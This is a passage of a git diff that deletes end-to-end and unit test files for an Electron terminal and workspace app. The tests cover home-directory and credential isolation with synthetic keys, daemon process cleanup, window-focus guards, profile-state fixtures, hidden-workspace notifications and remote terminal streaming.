'/bin', - TEST_TOKEN: 'safe', - EXTRA_TEST_FLAG: '1', - HOME: canonicalHome, - USERPROFILE: canonicalHome, - ORCA_E2E_USER_DATA_DIR: userDataDir - }) - expect(isolation.env.CODEX_HOME).toBeUndefined() - expect(isolation.env.ORCA_CODEX_HOME).toBeUndefined() - expect(isolation.env.CLAUDE_CONFIG_DIR).toBeUndefined() - expect(isolation.env.ZDOTDIR).toBeUndefined() - expect(isolation.env.ORCA_DISABLE_MACOS_LOGIN_SHELL).toBe( - process.platform === 'darwin' ? '1' : undefined - ) - // The post-launch guard must accept the isolated boundary used by Codex’s real-home route. - expect(() => - assertElectronResolvedIsolatedHome(isolation.isolatedHome, isolation) - ).not.toThrow() - }) - - it('rejects generic fixture overlays that could escape the boundary', () => { - expect(() => - createElectronHomeIsolation({ - inheritedEnv: {}, - launchEnv: { CODEX_HOME: '/unsafe' }, - extraEnv: {}, - userDataDir: createUserDataDir(), - realHome: '/real/home' - }) - ).toThrow(/launchEnv\.CODEX_HOME/) - - expect(() => - createElectronHomeIsolation({ - inheritedEnv: {}, - launchEnv: {}, - extraEnv: { ORCA_E2E_USER_DATA_DIR: '/unsafe' }, - userDataDir: createUserDataDir(), - realHome: '/real/home' - }) - ).toThrow(/orcaAppExtraEnv\.ORCA_E2E_USER_DATA_DIR/) - }) - - it('compares Windows home paths case-insensitively', () => { - expect(areSameHomePath('C:\\Users\\Alice', 'c:\\users\\alice', 'win32')).toBe(true) - }) - - it.each(['launchEnv', 'extraEnv'] as const)( - 'rejects %s attempts to restore the macOS login wrapper', - (overlay) => { - expect(() => - createElectronHomeIsolation({ - inheritedEnv: {}, - launchEnv: overlay === 'launchEnv' ? { ORCA_DISABLE_MACOS_LOGIN_SHELL: '0' } : {}, - extraEnv: overlay === 'extraEnv' ? { ORCA_DISABLE_MACOS_LOGIN_SHELL: '0' } : {}, - userDataDir: createUserDataDir(), - realHome: '/real/home' - }) - ).toThrow(/ORCA_DISABLE_MACOS_LOGIN_SHELL/) - } - ) -}) - -function installSyntheticPlan(home: string, apiKey: string): string { - const dir = path.join(home, '.zcode', 'v2') - mkdirSync(dir, { recursive: true }) - const providerId = 'account:bigmodel-individual-coding-plan' - const configPath = path.join(dir, 'provider_config.json') - writeFileSync( - configPath, - JSON.stringify({ - schemaVersion: 1, - config: { - providerConfigRules: { providerRules: [] }, - modelConfigRules: { providerModelRules: [], manualProviderModelRules: [] }, - defaultModelSelection: { providerId, modelId: 'GLM' } - } - }) - ) - writeFileSync( - path.join(dir, 'credentials.json'), - JSON.stringify({ - [`account-provider:${providerId}:identity`]: 'synthetic', - [`account-provider:coding-plan:${providerId}:account:synthetic:api-key`]: apiKey - }) - ) - return configPath -} - -describe('ZCode credentials in the disposable home', () => { - const credentialRoots = ['ZCODE_DATA_BASE_DIR', 'ZCODE_PERSONAL_PROVIDER_CONFIG_FILE'] as const - - it.each(credentialRoots)('strips inherited %s before reading an isolated plan', (key) => { - const externalHome = createUserDataDir() - const externalConfig = installSyntheticPlan(externalHome, 'synthetic-external-key') - const isolation = createElectronHomeIsolation({ - inheritedEnv: { - [key]: key === 'ZCODE_DATA_BASE_DIR' ? externalHome : externalConfig - }, - launchEnv: {}, - extraEnv: {}, - userDataDir: createUserDataDir(), - realHome: externalHome - }) - const configPath = installSyntheticPlan(isolation.isolatedHome, 'synthetic-isolated-key') - const fetch = vi.fn(() => { - throw new Error('Credential isolation must not use the network') - }) - vi.stubGlobal('fetch', fetch) - expect( - readZcodeV2PlanCredential({ - home: isolation.isolatedHome, - platform: process.platform, - username: 'synthetic-user', - env: isolation.env - }) - ).toMatchObject({ status: 'ok', apiKey: 'synthetic-isolated-key', configPath }) - expect(isolation.env[key]).toBeUndefined() - expect(fetch).not.toHaveBeenCalled() - }) - - it.each(['launchEnv', 'extraEnv'] as const)('rejects %s credential-root overlays', (overlay) => { - const externalHome = createUserDataDir() - const externalConfig = installSyntheticPlan(externalHome, 'synthetic-external-key') - for (const key of credentialRoots) { - for (const spelling of [key, key.toLowerCase()]) { - const override = { - [spelling]: key === 'ZCODE_DATA_BASE_DIR' ? externalHome : externalConfig - } - expect(() => - createElectronHomeIsolation({ - inheritedEnv: {}, - launchEnv: overlay === 'launchEnv' ? override : {}, - extraEnv: overlay === 'extraEnv' ? override : {}, - userDataDir: createUserDataDir(), - realHome: externalHome - }) - ).toThrow( - `${overlay === 'launchEnv' ? 'launchEnv' : 'orcaAppExtraEnv'}.${spelling} cannot override the E2E home boundary` - ) - } - } - }) - - it('reads ordinary home fixtures while retaining legitimate launch overrides', () => { - const isolation = createElectronHomeIsolation({ - inheritedEnv: { PATH: '/synthetic/bin' }, - launchEnv: { ORCA_DISABLE_AGENT_HOOKS: '1', TEST_TOKEN: 'launch' }, - extraEnv: { TEST_TOKEN: 'extra', ZCODE_CREDENTIAL_SECRET: 'synthetic-secret' }, - userDataDir: createUserDataDir(), - realHome: createUserDataDir() - }) - const configPath = installSyntheticPlan(isolation.isolatedHome, 'synthetic-ordinary-key') - vi.stubGlobal( - 'fetch', - vi.fn(() => { - throw new Error('Network forbidden') - }) - ) - expect(isolation.env).toMatchObject({ - PATH: '/synthetic/bin', - ORCA_DISABLE_AGENT_HOOKS: '1', - TEST_TOKEN: 'extra', - ZCODE_CREDENTIAL_SECRET: 'synthetic-secret' - }) - expect( - readZcodeV2PlanCredential({ - home: isolation.isolatedHome, - platform: process.platform, - username: 'synthetic-user', - env: isolation.env - }) - ).toMatchObject({ status: 'ok', apiKey: 'synthetic-ordinary-key', configPath }) - expect(fetch).not.toHaveBeenCalled() - }) -}) diff --git a/tests/e2e/helpers/electron-process-shutdown.unit.test.ts b/tests/e2e/helpers/electron-process-shutdown.unit.test.ts deleted file mode 100644 index 09de85e570e..00000000000 --- a/tests/e2e/helpers/electron-process-shutdown.unit.test.ts +++ /dev/null @@ -1,246 +0,0 @@ -import { EventEmitter, once } from 'node:events' -import { mkdtempSync, mkdirSync, rmSync, writeFileSync } from 'node:fs' -import { tmpdir } from 'node:os' -import path from 'node:path' -import { spawnProcess } from '@orca/process-host' -import { PassThrough } from 'node:stream' -import type { ChildProcess } from 'node:child_process' -import type { ElectronApplication } from '@stablyai/playwright-test' -import { afterEach, describe, expect, it, vi } from 'vitest' -import { cleanupE2EDaemons, closeElectronAppForE2E } from './electron-process-shutdown' - -function exitedAppFixture() { - const proc = Object.assign(new EventEmitter(), { - exitCode: null as number | null, - signalCode: null, - stdio: [new PassThrough(), new PassThrough(), new PassThrough()] - }) - const pipesClosed = Promise.all( - proc.stdio.map((stream) => new Promise((resolve) => stream.once('close', resolve))) - ) - const close = vi.fn(() => pipesClosed) - const app = { - process: () => proc as unknown as ChildProcess, - close - } as unknown as ElectronApplication - return { proc, app, close } -} - -const ownedChildren = new Set() -const ownedProfiles = new Set() - -function pidIsGone(pid: number): boolean { - try { - process.kill(pid, 0) - return false - } catch (error) { - if (error instanceof Error && 'code' in error && error.code === 'ESRCH') { - return true - } - throw error - } -} - -async function ownedDaemon(mode: 'exit' | 'ignore' | 'descendant') { - const proc = spawnProcess({ - program: process.env.ORCA_TEST_NODE_EXECUTABLE ?? process.execPath, - args: [ - '-e', - ` - const { spawn } = require('node:child_process') - const mode = process.argv[1] - setInterval(() => {}, 1000) - if (mode === 'ignore') process.on('SIGTERM', () => {}) - if (mode === 'descendant') { - const child = spawn(process.execPath, ['-e', \` - process.on('SIGTERM', () => {}) - setInterval(() => {}, 1000) - process.send(process.pid) - \`], { stdio: ['ignore', 'ignore', 'ignore', 'ipc'] }) - child.once('message', pid => process.send({ node: process.versions.node, pids: [process.pid, pid] })) - } else { - process.send({ node: process.versions.node, pids: [process.pid] }) - } - `, - mode - ], - env: { ...process.env, ORCA_BACKGROUND_LAUNCH: '1' }, - stdio: ['ignore', 'ignore', 'ignore', 'ipc'], - detached: true, - timeoutMs: null - }) - ownedChildren.add(proc) - const exited = once(proc, 'exit') - const readiness: unknown = (await once(proc, 'message'))[0] - if ( - !readiness || - typeof readiness !== 'object' || - !('node' in readiness) || - typeof readiness.node !== 'string' || - !('pids' in readiness) || - !Array.isArray(readiness.pids) - ) { - throw new Error('Missing real Node daemon readiness') - } - const pids = readiness.pids.map((pid: unknown) => { - if (typeof pid !== 'number' || !Number.isSafeInteger(pid) || pid <= 1) { - throw new Error('Invalid owned daemon PID') - } - return pid - }) - if (!proc.pid || pids[0] !== proc.pid) { - throw new Error('Daemon readiness does not belong to the spawned child') - } - const profile = mkdtempSync(path.join(tmpdir(), 'orca-daemon-exit-')) - ownedProfiles.add(profile) - mkdirSync(path.join(profile, 'daemon')) - writeFileSync(path.join(profile, 'daemon', 'owned.pid'), JSON.stringify({ pid: proc.pid })) - return { proc, pids, profile, exited } -} - -afterEach(async () => { - vi.useRealTimers() - for (const proc of ownedChildren) { - const pid = proc.pid - if (pid) { - try { - process.kill(-pid, 'SIGKILL') - } catch (error) { - if (!(error instanceof Error && 'code' in error && error.code === 'ESRCH')) { - throw error - } - } - if (proc.exitCode === null && proc.signalCode === null) { - await once(proc, 'exit') - } - await expect.poll(() => pidIsGone(-pid), { timeout: 5_000 }).toBe(true) - } - } - ownedChildren.clear() - for (const profile of ownedProfiles) { - rmSync(profile, { recursive: true, force: true }) - } - ownedProfiles.clear() -}) - -describe('Electron shutdown with inherited pipes', () => { - it('releases retained pipes only after Electron exits, settling Playwright cleanup', async () => { - const { proc, app, close } = exitedAppFixture() - const closing = closeElectronAppForE2E(app) - expect(close).toHaveBeenCalledOnce() - expect(proc.stdio.every((stream) => !stream.destroyed)).toBe(true) - proc.exitCode = 0 - proc.emit('exit', 0, null) - await closing - expect(proc.stdio.every((stream) => stream.destroyed)).toBe(true) - expect(proc.listenerCount('exit')).toBe(0) - }) - - it('releases pipes when Electron already exited before cleanup starts', async () => { - const { proc, app } = exitedAppFixture() - proc.exitCode = 0 - await closeElectronAppForE2E(app) - expect(proc.stdio.every((stream) => stream.destroyed)).toBe(true) - }) - - it('does not release pipes if shutdown times out without confirmed process exit', async () => { - vi.useFakeTimers() - const { proc, app } = exitedAppFixture() - let closingSettled = false - const closing = closeElectronAppForE2E(app).then(() => { - closingSettled = true - }) - try { - await vi.advanceTimersByTimeAsync(10_000) - expect(closingSettled).toBe(true) - await closing - expect(proc.stdio.every((stream) => !stream.destroyed)).toBe(true) - expect(proc.listenerCount('exit')).toBe(0) - } finally { - for (const stream of proc.stdio) { - stream.destroy() - } - } - }) -}) - -describe.skipIf(process.platform === 'win32')('owned POSIX daemon cleanup', () => { - it('preserves a running daemon when final cleanup is not requested', async () => { - const daemon = await ownedDaemon('exit') - const { proc, app } = exitedAppFixture() - proc.exitCode = 0 - await closeElectronAppForE2E(app) - expect(daemon.pids.every((pid) => !pidIsGone(pid))).toBe(true) - }) - - it('starts final daemon cleanup after app exit and awaits public close and all descendants', async () => { - const daemon = await ownedDaemon('descendant') - const { proc, app, close } = exitedAppFixture() - let finishPublicClose: () => void = () => {} - const publicClose = new Promise((resolve) => { - finishPublicClose = resolve - }) - let publicCloseFinished = false - close.mockImplementation(async () => { - await daemon.exited - await publicClose - publicCloseFinished = true - return [] - }) - let shutdownFinished = false - const closing = closeElectronAppForE2E(app, { - cleanupDaemonsForUserDataDir: daemon.profile - }).then(() => { - shutdownFinished = true - }) - expect(close).toHaveBeenCalledOnce() - expect(daemon.pids.every((pid) => !pidIsGone(pid))).toBe(true) - proc.exitCode = 0 - proc.emit('exit', 0, null) - const [, signal] = await daemon.exited - expect(signal).toBe('SIGTERM') - expect(pidIsGone(daemon.pids[1])).toBe(false) - expect(publicCloseFinished).toBe(false) - expect(shutdownFinished).toBe(false) - finishPublicClose() - await expect.poll(() => publicCloseFinished).toBe(true) - expect(shutdownFinished).toBe(false) - await closing - await expect.poll(() => daemon.pids.every(pidIsGone), { timeout: 5_000 }).toBe(true) - expect(close).toHaveBeenCalledOnce() - expect(proc.listenerCount('exit')).toBe(0) - }, 10_000) - - it('returns when every captured process exits on SIGTERM', async () => { - const daemon = await ownedDaemon('exit') - const started = performance.now() - await cleanupE2EDaemons(daemon.profile) - const [, signal] = await daemon.exited - expect(signal).toBe('SIGTERM') - expect(performance.now() - started).toBeLessThan(1_500) - expect(daemon.pids.every(pidIsGone)).toBe(true) - }, 10_000) - - it('keeps the full grace before force-killing a daemon that ignores SIGTERM', async () => { - const daemon = await ownedDaemon('ignore') - const started = performance.now() - await cleanupE2EDaemons(daemon.profile) - const [, signal] = await daemon.exited - expect(signal).toBe('SIGKILL') - expect(performance.now() - started).toBeGreaterThanOrEqual(2_000) - await expect.poll(() => daemon.pids.every(pidIsGone), { timeout: 5_000 }).toBe(true) - }, 10_000) - - it('keeps the grace and kills a surviving descendant after the root exits', async () => { - const daemon = await ownedDaemon('descendant') - expect(daemon.pids).toHaveLength(2) - const started = performance.now() - const cleanup = cleanupE2EDaemons(daemon.profile) - const [, signal] = await daemon.exited - expect(signal).toBe('SIGTERM') - expect(pidIsGone(daemon.pids[1])).toBe(false) - await cleanup - expect(performance.now() - started).toBeGreaterThanOrEqual(2_000) - await expect.poll(() => daemon.pids.every(pidIsGone), { timeout: 5_000 }).toBe(true) - }, 10_000) -}) diff --git a/tests/e2e/helpers/paired-client-window-reveal.unit.test.ts b/tests/e2e/helpers/paired-client-window-reveal.unit.test.ts deleted file mode 100644 index 32d386d3d8d..00000000000 --- a/tests/e2e/helpers/paired-client-window-reveal.unit.test.ts +++ /dev/null @@ -1,44 +0,0 @@ -import { afterEach, describe, expect, it, vi } from 'vitest' -import { - focusPairedClientWindow, - revealPairedClientWindow, - type RevealablePairedClient -} from './paired-client-window-reveal' - -describe('paired client background safety', () => { - afterEach(() => vi.unstubAllEnvs()) - - function makeClient() { - const showInactive = vi.fn() - const focus = vi.fn() - const getAllWindows = vi.fn(() => [{ isVisible: () => false, showInactive, focus }]) - const evaluate = vi.fn(async (callback) => - callback({ - app: { focus }, - BrowserWindow: { getAllWindows } - }) - ) - const client = { - app: { evaluate }, - page: { waitForFunction: vi.fn() } - } as unknown as RevealablePairedClient - return { client, showInactive, focus, getAllWindows } - } - - it('rejects an explicit reveal before touching native windows', async () => { - vi.stubEnv('ORCA_BACKGROUND_LAUNCH', '1') - const { client, getAllWindows, showInactive } = makeClient() - await expect(revealPairedClientWindow(client)).rejects.toThrow('Window reveal is forbidden') - expect(getAllWindows).not.toHaveBeenCalled() - expect(showInactive).not.toHaveBeenCalled() - }) - - it.each(['0', '1'])('rejects focus in background mode with foreground=%s', async (foreground) => { - vi.stubEnv('ORCA_BACKGROUND_LAUNCH', '1') - vi.stubEnv('ORCA_E2E_FOREGROUND', foreground) - const { client, focus, getAllWindows } = makeClient() - await expect(focusPairedClientWindow(client)).rejects.toThrow('Native focus is forbidden') - expect(getAllWindows).not.toHaveBeenCalled() - expect(focus).not.toHaveBeenCalled() - }) -}) diff --git a/tests/e2e/helpers/persisted-profile-state.unit.test.ts b/tests/e2e/helpers/persisted-profile-state.unit.test.ts deleted file mode 100644 index 5507d851f13..00000000000 --- a/tests/e2e/helpers/persisted-profile-state.unit.test.ts +++ /dev/null @@ -1,71 +0,0 @@ -import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { afterEach, expect, it } from 'vitest' -import { openProfileStateDatabase } from '../../../src/main/persistence/profile-state/database/profile-state-database' -import { importProfileStateJson } from '../../../src/main/persistence/profile-state/documents/profile-state-documents' -import { acquireProfileStateRuntimeAdmission } from '../../../src/main/persistence/profile-state/access/profile-state-access' -import { mutateStoppedProfileState, readPersistedProfileState } from './persisted-profile-state' - -const roots: string[] = [] -afterEach(() => { - for (const root of roots.splice(0)) { - rmSync(root, { recursive: true, force: true }) - } -}) - -function fixture() { - const root = mkdtempSync(join(tmpdir(), 'orca-persisted-test-state-')) - roots.push(root) - const directory = join(root, 'profiles', 'local-default') - mkdirSync(directory, { recursive: true }) - const databaseFile = join(directory, 'profile-state.db') - const dataFile = join(directory, 'orca-data.json') - const state = { settings: { sealed: 'ciphertext' }, unknown: { kept: null, output: '\ud800' } } - const opened = openProfileStateDatabase(databaseFile, 'local-default') - try { - importProfileStateJson(opened.db, JSON.stringify(state)) - } finally { - opened.db.close() - } - writeFileSync(dataFile, '{"retained":"old migration snapshot"}') - return { root, databaseFile, dataFile, state } -} - -it('reads committed SQLite and changes stopped fixtures without rewriting retained JSON', () => { - const item = fixture() - const before = readFileSync(item.dataFile) - expect(readPersistedProfileState(item.root)).toEqual(item.state) - const result = mutateStoppedProfileState(item.root, (state) => { - expect(() => acquireProfileStateRuntimeAdmission(item.root)).toThrow() - state.fixture = { changed: true } - return 'complete' - }) - expect(result).toBe('complete') - expect(readPersistedProfileState(item.root)).toEqual({ - ...item.state, - fixture: { changed: true } - }) - expect(readFileSync(item.dataFile)).toEqual(before) -}) - -it('refuses a fixture write while a runtime is admitted and releases the refused owner', () => { - const item = fixture() - const runtime = acquireProfileStateRuntimeAdmission(item.root) - try { - expect(() => mutateStoppedProfileState(item.root, () => {})).toThrow() - expect(readPersistedProfileState(item.root)).toEqual(item.state) - } finally { - runtime.release() - } - expect(() => mutateStoppedProfileState(item.root, () => {})).not.toThrow() -}) - -it('does not create missing authority when a test points at the wrong profile', () => { - const item = fixture() - rmSync(item.databaseFile) - expect(() => mutateStoppedProfileState(item.root, () => {})).toThrow() - expect(existsSync(item.databaseFile)).toBe(false) - const runtime = acquireProfileStateRuntimeAdmission(item.root) - runtime.release() -}) diff --git a/tests/e2e/hidden-workspace-notifications.spec.ts b/tests/e2e/hidden-workspace-notifications.spec.ts deleted file mode 100644 index 77ef53fd791..00000000000 --- a/tests/e2e/hidden-workspace-notifications.spec.ts +++ /dev/null @@ -1,138 +0,0 @@ -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { execInTerminal, waitForActivePanePtyId } from './helpers/terminal' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { getRendererTitleLog, installRendererTitleLog } from './helpers/terminal-title-log' -import { waitForPtyShellEcho } from './terminal-pty-readiness' -import { SIDEBAR_INPUTS_BUILD } from './helpers/sidebar-inputs-build' - -type NotificationDispatch = { source?: string; worktreeId?: string } - -declare global { - var __hiddenWorkspaceDispatchLog: NotificationDispatch[] | undefined -} - -async function installNotificationDispatchSpy(app: ElectronApplication): Promise { - await app.evaluate(({ ipcMain }) => { - if (globalThis.__hiddenWorkspaceDispatchLog) { - return - } - const log: NotificationDispatch[] = [] - globalThis.__hiddenWorkspaceDispatchLog = log - ipcMain.removeHandler('notifications:dispatch') - ipcMain.handle('notifications:dispatch', (_event: unknown, args: NotificationDispatch) => { - log.push(args) - return { delivered: true } - }) - }) -} - -async function bellRequests(app: ElectronApplication, worktreeId: string): Promise { - return app.evaluate((_electron, id) => { - return (globalThis.__hiddenWorkspaceDispatchLog ?? []).filter( - (dispatch) => dispatch.source === 'terminal-bell' && dispatch.worktreeId === id - ).length - }, worktreeId) -} - -async function isWorkspaceUnread(page: Page, worktreeId: string): Promise { - return page.evaluate((id) => { - const state = window.__store!.getState() - return Object.values(state.worktreesByRepo) - .flat() - .some((worktree) => worktree.id === id && worktree.isUnread) - }, worktreeId) -} - -/** Rings a BEL with the workspace off screen (Settings open), fenced by an OSC title marker. */ -async function ringBellOffScreen( - page: Page, - ptyId: string, - worktreeId: string, - marker: string -): Promise { - await page.evaluate((id) => { - const state = window.__store!.getState() - const row = Object.values(state.worktreesByRepo) - .flat() - .find((worktree) => worktree.id === id) - state.setWorkspaceUnreadByUser(id, false, row?.hostId ?? 'local') - state.openSettingsPage() - }, worktreeId) - await execInTerminal(page, ptyId, `printf '\\a\\033]0;${marker}\\007'`) - await expect - .poll(async () => (await getRendererTitleLog(page)).includes(marker), { - timeout: 10_000, - message: 'Marker title did not land, so the BEL may not have reached the renderer' - }) - .toBe(true) -} - -async function setFilterAndSetting( - page: Page, - hideDefaultBranch: boolean, - notifyHiddenWorkspaces: boolean -): Promise { - await page.evaluate( - async ({ hide, notify }) => { - const state = window.__store!.getState() - state.setHideDefaultBranchWorkspace(hide) - await state.updateSettings({ - notifications: { ...state.settings!.notifications, notifyHiddenWorkspaces: notify } - }) - }, - { hide: hideDefaultBranch, notify: notifyHiddenWorkspaces } - ) - // A switch-on build's host reads the persisted switch, written after the window's copy. - await expect - .poll(() => page.evaluate(async () => (await window.api.ui.get()).hideDefaultBranchWorkspace)) - .toBe(hideDefaultBranch) -} - -test.describe('Hidden workspace notifications', () => { - test('a workspace hidden by a Filters switch raises nothing unless hidden workspaces notify', async ({ - orcaPage, - electronApp - }) => { - await waitForSessionReady(orcaPage) - const worktreeId = await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - const ptyId = await waitForActivePanePtyId(orcaPage) - await waitForPtyShellEcho(orcaPage, ptyId, 30_000) - await installNotificationDispatchSpy(electronApp) - await installRendererTitleLog(orcaPage) - // The seeded active workspace is the primary checkout, which "Hide default branch" hides. - expect( - await orcaPage.evaluate( - (id) => - Object.values(window.__store!.getState().worktreesByRepo) - .flat() - .find((worktree) => worktree.id === id)?.isMainWorktree, - worktreeId - ) - ).toBe(true) - - // Visible: unread and a banner request, as before. - await setFilterAndSetting(orcaPage, false, false) - await ringBellOffScreen(orcaPage, ptyId, worktreeId, 'hwn-visible') - await expect.poll(() => bellRequests(electronApp, worktreeId), { timeout: 5_000 }).toBe(1) - expect(await isWorkspaceUnread(orcaPage, worktreeId)).toBe(true) - - // Hidden and the setting off: no request, past the bell's 250 ms delay. The window raises no - // dot; a switch-on host raises its shared dot, which ignores every client's Filters. - await setFilterAndSetting(orcaPage, true, false) - await ringBellOffScreen(orcaPage, ptyId, worktreeId, 'hwn-hidden') - if (SIDEBAR_INPUTS_BUILD) { - await expect.poll(() => isWorkspaceUnread(orcaPage, worktreeId)).toBe(true) - } - await orcaPage.waitForTimeout(1_500) - expect(await bellRequests(electronApp, worktreeId)).toBe(1) - expect(await isWorkspaceUnread(orcaPage, worktreeId)).toBe(SIDEBAR_INPUTS_BUILD) - - // Hidden with "Notify About Hidden Workspaces" on: both come back. - await setFilterAndSetting(orcaPage, true, true) - await ringBellOffScreen(orcaPage, ptyId, worktreeId, 'hwn-opted-in') - await expect.poll(() => bellRequests(electronApp, worktreeId), { timeout: 5_000 }).toBe(2) - expect(await isWorkspaceUnread(orcaPage, worktreeId)).toBe(true) - }) -}) diff --git a/tests/e2e/host-cold-park-remote-subscriber.unit.test.ts b/tests/e2e/host-cold-park-remote-subscriber.unit.test.ts deleted file mode 100644 index 69400d315dd..00000000000 --- a/tests/e2e/host-cold-park-remote-subscriber.unit.test.ts +++ /dev/null @@ -1,267 +0,0 @@ -import { describe, expect, it, vi } from 'vitest' -import { OrcaRuntimeService } from '../../src/main/runtime/orca-runtime' -import { RpcDispatcher } from '../../src/main/runtime/rpc/dispatcher' -import type { RpcRequest } from '../../src/main/runtime/rpc/core' -import { TERMINAL_METHODS } from '../../src/main/runtime/rpc/methods/terminal/terminal' -import { - TerminalStreamOpcode, - decodeTerminalStreamFrame, - decodeTerminalStreamText, - encodeTerminalStreamFrame, - encodeTerminalStreamJson, - encodeTerminalStreamText -} from '../../src/shared/terminal/stream/terminal-stream-protocol' - -const WORKTREE_ID = 'repo-1::/tmp/wt' -// Use host-owned snapshot-backed daemon PTYs, matching the remotely viewed local pane. -const ptyIdFor = (n: number): string => `${WORKTREE_ID}@@aaaaaaa${n}` -const MARKER_BEFORE_PARK = 'STA2854-BEFORE-PARK' -const MARKER_AFTER_PARK = 'STA2854-AFTER-PARK' -const MARKER_AFTER_RECONNECT = 'STA2854-AFTER-RECONNECT' -const CLIENT_INPUT = 'echo STA2854-INPUT\r' - -type RuntimeInternals = { - recordPtyWorktree: ( - ptyId: string, - worktreeId: string, - state?: { connected?: boolean; connectionId?: string | null } - ) => unknown - issuePtyHandle: (pty: unknown) => string -} - -function internals(runtime: OrcaRuntimeService): RuntimeInternals { - return runtime as unknown as RuntimeInternals -} - -// Gate daemon output on attach, independently of renderer presence. -function createHostProvider() { - const ptyId = ptyIdFor(0) - // Start attached, matching a pane viewed before it was hidden and parked. - const session = { cols: 120, rows: 40, attached: true, screen: '' } - const attachCalls: string[] = [] - const writes: [string, string][] = [] - let runtime: OrcaRuntimeService | null = null - const controller = { - write: (id: string, text: string) => { - writes.push([id, text]) - return true - }, - kill: () => true, - getForegroundProcess: async () => null, - listProcesses: async () => [ - { id: ptyId, cwd: '/tmp/wt', worktreeId: WORKTREE_ID, title: '', cols: 120, rows: 40 } - ], - // Parking removes the renderer serializer visible to main. - hasRendererSerializer: () => false, - getSize: () => ({ cols: session.cols, rows: session.rows }), - resize: () => true, - attach: async (id: string) => { - attachCalls.push(id) - session.attached = true - return true - }, - serializeProviderBuffer: async () => ({ - data: session.screen, - cols: session.cols, - rows: session.rows, - seq: 0, - source: 'headless' as const - }) - } - return { - ptyId, - controller, - attachCalls, - writes, - session, - bind(target: OrcaRuntimeService) { - runtime = target - }, - emitData(data: string): boolean { - if (!session.attached) { - return false - } - session.screen += data - runtime?.onPtyData(ptyId, data, Date.now()) - return true - } - } -} - -function startMultiplex(runtime: OrcaRuntimeService, connectionId: string) { - const messages: { result?: { type?: string; streamId?: number | null } }[] = [] - const binaryFrames: Uint8Array[] = [] - const handlers = new Map< - number, - (frame: NonNullable>) => void - >() - const dispatcher = new RpcDispatcher({ runtime, methods: TERMINAL_METHODS }) - const request: RpcRequest = { - id: `req-${connectionId}`, - authToken: 'tok', - method: 'terminal.multiplex', - params: {} - } - const dispatchPromise = dispatcher.dispatchStreaming( - request, - (msg) => { - messages.push(JSON.parse(msg)) - }, - { - connectionId, - sendBinary: (bytes: Uint8Array) => { - binaryFrames.push(bytes) - return true - }, - registerBinaryStreamHandler: ( - streamId: number, - handler: (frame: NonNullable>) => void - ) => { - handlers.set(streamId, handler) - return () => { - if (handlers.get(streamId) === handler) { - handlers.delete(streamId) - } - } - } - } - ) - return { messages, binaryFrames, handlers, dispatchPromise } -} - -type Harness = ReturnType - -function sendSubscribe(harness: Harness, streamId: number, terminal: string, clientId: string) { - harness.handlers.get(0)?.( - decodeTerminalStreamFrame( - encodeTerminalStreamFrame({ - opcode: TerminalStreamOpcode.Subscribe, - streamId, - seq: 1, - payload: encodeTerminalStreamJson({ - streamId, - terminal, - client: { id: clientId, type: 'desktop' } - }) - }) - )! - ) -} - -function sendInput(harness: Harness, streamId: number, text: string) { - harness.handlers.get(streamId)?.( - decodeTerminalStreamFrame( - encodeTerminalStreamFrame({ - opcode: TerminalStreamOpcode.Input, - streamId, - seq: 2, - payload: encodeTerminalStreamText(text) - }) - )! - ) -} - -async function waitForSubscribed(harness: Harness, streamId: number): Promise { - await vi.waitFor(() => - expect( - harness.messages.some( - (m) => m.result?.type === 'subscribed' && m.result?.streamId === streamId - ) - ).toBe(true) - ) -} - -function outputText(harness: Harness): string { - return harness.binaryFrames - .map(decodeTerminalStreamFrame) - .filter((frame) => frame?.opcode === TerminalStreamOpcode.Output) - .map((frame) => decodeTerminalStreamText(frame!.payload)) - .join('') -} - -function errorFrames(harness: Harness): number { - return harness.binaryFrames - .map(decodeTerminalStreamFrame) - .filter((frame) => frame?.opcode === TerminalStreamOpcode.Error).length -} - -describe('STA-2854 B: remote subscriber survives a fully unmounted host renderer', () => { - it('streams, accepts input, and re-subscribes with no host renderer pane at all', async () => { - const runtime = new OrcaRuntimeService() - const provider = createHostProvider() - provider.bind(runtime) - runtime.setPtyController(provider.controller as never) - const record = internals(runtime).recordPtyWorktree(provider.ptyId, WORKTREE_ID, { - connected: true - }) - const handle = internals(runtime).issuePtyHandle(record) - // No authoritative window can mount a renderer, a stricter boundary than pane parking. - const mountSpy = vi.spyOn(runtime, 'requestRendererTerminalTabMount').mockReturnValue(false) - // Seed main’s model from an already-attached pane so subscription cannot reattach it. - expect(provider.emitData('host pane was live\r\n')).toBe(true) - - const harness = startMultiplex(runtime, 'conn-client-b') - await vi.waitFor(() => expect(harness.handlers.has(0)).toBe(true)) - - sendSubscribe(harness, 1, handle, 'client-b') - await waitForSubscribed(harness, 1) - - expect(runtime.hasRemoteTerminalViewSubscriber(provider.ptyId)).toBe(true) - // Raw subscriber presence vetoes daemon keep-tail thinning. - expect(runtime.hasRawTerminalViewSubscriber(provider.ptyId)).toBe(true) - - expect(provider.emitData(`${MARKER_BEFORE_PARK}\r\n`)).toBe(true) - await vi.waitFor(() => expect(outputText(harness)).toContain(MARKER_BEFORE_PARK)) - - expect(provider.emitData(`${MARKER_AFTER_PARK}\r\n`)).toBe(true) - await vi.waitFor(() => expect(outputText(harness)).toContain(MARKER_AFTER_PARK)) - - sendInput(harness, 1, CLIENT_INPUT) - await vi.waitFor(() => expect(provider.writes).toContainEqual([provider.ptyId, CLIENT_INPUT])) - - expect(provider.attachCalls).toEqual([]) - expect(errorFrames(harness)).toBe(0) - expect(harness.messages.some((m) => m.result?.type === 'error')).toBe(false) - - const reconnected = startMultiplex(runtime, 'conn-client-b-2') - await vi.waitFor(() => expect(reconnected.handlers.has(0)).toBe(true)) - sendSubscribe(reconnected, 1, handle, 'client-b') - await waitForSubscribed(reconnected, 1) - expect(provider.emitData(`${MARKER_AFTER_RECONNECT}\r\n`)).toBe(true) - await vi.waitFor(() => expect(outputText(reconnected)).toContain(MARKER_AFTER_RECONNECT)) - - // Neither subscribe nor reconnect may request a renderer mount once the leaf owns a PTY. - expect(mountSpy).not.toHaveBeenCalled() - expect(provider.attachCalls).toEqual([]) - expect(errorFrames(reconnected)).toBe(0) - }) -}) - -describe('STA-2854 C: an unattached host PTY with no mountable renderer pane', () => { - 